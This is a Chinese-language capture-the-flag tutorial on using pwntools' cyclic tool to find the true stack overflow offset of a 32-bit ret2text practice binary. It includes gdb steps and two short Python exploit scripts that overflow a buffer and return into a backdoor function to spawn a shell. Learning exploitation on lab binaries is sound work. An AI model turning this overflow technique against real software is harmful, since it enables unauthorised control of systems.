有时ida给出的栈长度是错的。就需要我们自己手动去测量栈长度,主要用到cyclic。
使用工具cyclic生成无序字符串
cyclic 数字/数字是要生成的字符串字符数
这里用的是大佬Cyberangel的例子
大佬的例子
用checksec
检查文件
是32位的,开启了nx保护
拖入ida
找到后门函数
地址是0x804863A
根据s的长度
得出偏移量是0x64+4(因为这是32位文件,所以加4)
编写exp如下
from pwn import*
p=process('./ret2text')
target=0x804863A
p.sendline('a'*(0x64+4)+p32(target))
p.interactive()
运行后发现
说明栈长度ida算错了,接下来就需要我们自己来计算偏移量了
用gdb调试程序
输入start,设置断点在main函数,输入c继续运行,将生成的无序字符粘贴在输入框中,回车
可以看到
观察可知溢出点为0x62616164
报错的意思是跳转到0x62616164这步出错了,意思是没有这个位置,这个位置就是200个有序字符其中最先溢出的部分。只要知道这个地址时输入的第几个字符,就可以知道前面有多少个字符了
cyclic有一个函数可以帮我们cyclic -l
根据溢出的地址可以得知溢出的四个字符为:baad(根据ASCⅡ码表)
cyclic -l daab//那四个字符
细心的人可能就会发现我输入的不是baad而是daab,这是因为机器的小端序存储,而这里溢出显示的也是小端序的,所以应该颠倒以下顺序,但是如果直接输入地址,就没这么麻烦了。
cyclic -l 0x62616164
结果和上面的是一样的,
好啦,这样偏移量就测量出来了
修改一下exp
from pwn import*
p=process('./ret2text')
target=0x804863A
p.sendline('a'*(112)+p32(target))
p.interactive()
运行
成功获取shell